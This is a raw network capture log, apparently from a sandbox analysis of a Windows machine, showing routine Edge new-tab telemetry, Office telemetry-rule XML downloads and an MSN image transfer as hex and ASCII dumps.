2024-11-26 15:31:54 UTC	925	OUT	GET /b?rn=1732635113531&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2FBC76E93A286CF7086363AA3B5A6D16&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:54 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 26 Nov 2024 15:31:54 GMT Location: /b2?rn=1732635113531&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2FBC76E93A286CF7086363AA3B5A6D16&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1AB6a00a295f8a24c77b1081732635114; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1AB6a00a295f8a24c77b1081732635114; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 08c35fba3c05c07f78b1292e4a5f949a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: _OQvXjYDM2pRptkCS5u_jSqylcJ6UjPBPhEmRDrP45bPAb17ICb-XA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:54 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153154Z-174f7845968nxc96hC1EWRspw80000000v8000000000pphx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:54 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153154Z-174f7845968jrjrxhC1EWRmmrs0000000vrg00000000fm65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49873	204.79.197.237	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:54 UTC	1269	OUT	GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&RedC=c.msn.com&MXFR=2FBC76E93A286CF7086363AA3B5A6D16 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 9242E0239E4C7D136C4BD4F9D530B2276BACEBC139C16DC6C0033546D24CA066 Sec-MS-GEC-Version: 1-117.0.2045.55 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:55 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&MUID=2FBC76E93A286CF7086363AA3B5A6D16 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=2FBC76E93A286CF7086363AA3B5A6D16; domain=.bing.com; expires=Sun, 21-Dec-2025 15:31:55 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Tue, 03-Dec-2024 15:31:55 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=2FBC76E93A286CF7086363AA3B5A6D16; domain=c.bing.com; expires=Sun, 21-Dec-2025 15:31:55 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=2FBC76E93A286CF7086363AA3B5A6D16; domain=c.bing.com; expires=Sun, 21-Dec-2025 15:31:55 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3C459A8A5A914508BCDD787DA8C8D7CB Ref B: EWR30EDGE1006 Ref C: 2024-11-26T15:31:55Z Date: Tue, 26 Nov 2024 15:31:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49879	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:54 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:55 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 28 Oct 2024 09:34:19 GMT X-Datacenter: westus X-ActivityId: d299da65-4796-4530-b965-ab450ac4c590 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw X-Source-Length: 100376 Content-Length: 100376 Cache-Control: public, max-age=237754 Expires: Fri, 29 Nov 2024 09:34:29 GMT Date: Tue, 26 Nov 2024 15:31:55 GMT Connection: close
2024-11-26 15:31:55 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 15:31:55 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-26 15:31:55 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
2024-11-26 15:31:55 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-26 15:31:55 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-26 15:31:55 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;
2024-11-26 15:31:55 UTC	16384	IN	Data Raw: ae e5 7c 83 4f 36 34 30 69 99 ba d9 34 e1 a0 61 0d 1d 0c 5c 95 98 e7 b7 d3 0d 02 4c df f2 53 c5 49 0e ce 6d 3f a4 1f ba e5 9e 27 9f 30 b1 a5 91 3f 87 04 32 ee f6 8c f8 2a 73 88 a7 a8 e2 f7 24 53 71 f4 80 1b 1c 79 95 4f 71 24 36 d6 16 5c f8 6e 4f 4d 7c 11 d5 74 b6 1a dc 29 bf 45 ee ff 00 ed 05 e0 78 6b 15 ee bf ed 05 c7 dd d4 e9 ed bf 84 86 4d d6 45 73 65 3d c5 67 56 c1 4a 42 9e 86 0d 42 b4 f8 47 41 0b 1e a1 bd 94 ca 0e f3 2e c9 46 e2 73 41 d4 8f ae 70 4f 5e b4 dd ab e7 7c 0d 4c 17 bf 61 96 af 12 aa 4c f6 5e 69 33 ce f1 2d c5 78 3e 21 b0 57 d0 f8 a0 bc 37 12 2e ba 3b 60 fb 9a 1e 7e 74 a9 ec 70 31 0b 31 ca 4b 0c 05 d7 2d 0e 14 f3 36 03 93 a6 c5 67 35 f7 52 9a f9 b2 1d 64 17 15 99 15 9b 24 af 2f 55 97 9d 51 7e dd d7 b7 7e 33 cd 79 ee 3e a8 30 d0 c6 b5 a3 00 Data Ascii: \|O640i4a\LSIm?'0?2*s$SqyOq$6\nOM\|t)ExkMEse=gVJBBGA.FsApO^\|LaL^i3-x>!W7.;`~tp11K-6g5Rd$/UQ~~3y>0
2024-11-26 15:31:55 UTC	8048	IN	Data Raw: 96 07 b1 09 7d 5c 09 31 b2 e8 4a 57 93 40 ed 11 b5 37 eb 04 c6 d6 d3 92 8c 5b 89 46 ca 65 c8 f4 b7 8a c9 27 8a 71 10 a0 ea c7 9a d5 6f 0a 51 ff 00 18 24 b0 ad 08 7d c4 62 26 06 92 b7 7f 8c 39 a9 8c a2 d6 e4 16 c4 81 be e7 03 21 9c 39 d9 6b 33 86 27 30 de df b8 53 24 37 10 7c 02 92 1a 5d 12 01 07 af c5 4e 67 3b 93 64 aa 5c 3b 00 c2 fc ee a4 8e 1b 70 23 94 fd d4 56 b0 53 3e 57 78 6a f7 15 38 39 ff 00 d5 dc 50 c9 a2 75 3a 2c 61 fc 53 6a 54 00 40 06 16 77 a8 70 3d e3 f3 51 9f 51 f9 69 77 20 52 c3 9e f3 25 ed 13 fd 49 c3 4b b9 14 6d 2c 9b b0 82 b1 f5 82 7c ec 2c 3b ad 2a 63 9c a4 67 9f bf 6c da 63 69 9f 64 90 7a d9 4b 92 30 2b 24 3e 02 66 af 04 3a 11 ad eb 98 b9 ed 50 cf 9b de a2 92 14 52 f1 bd d3 a2 ba 93 0c 8c 14 77 1a 87 00 0f 22 96 1c 7f a8 f2 4c 68 d5 99 Data Ascii: }\1JW@7[Fe'qoQ$}b&9!9k3'0S$7\|]Ng;d\;p#VS>Wxj89Pu:,aSjT@wp=QQiw R%IKm,\|,;*cglcidzK0+$>f:PRw"Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:55 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:55 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153155Z-174f7845968swgbqhC1EWRmnb40000000vpg00000000pv9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153155Z-174f7845968kvnqxhC1EWRmf3g0000000ec000000000m23k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 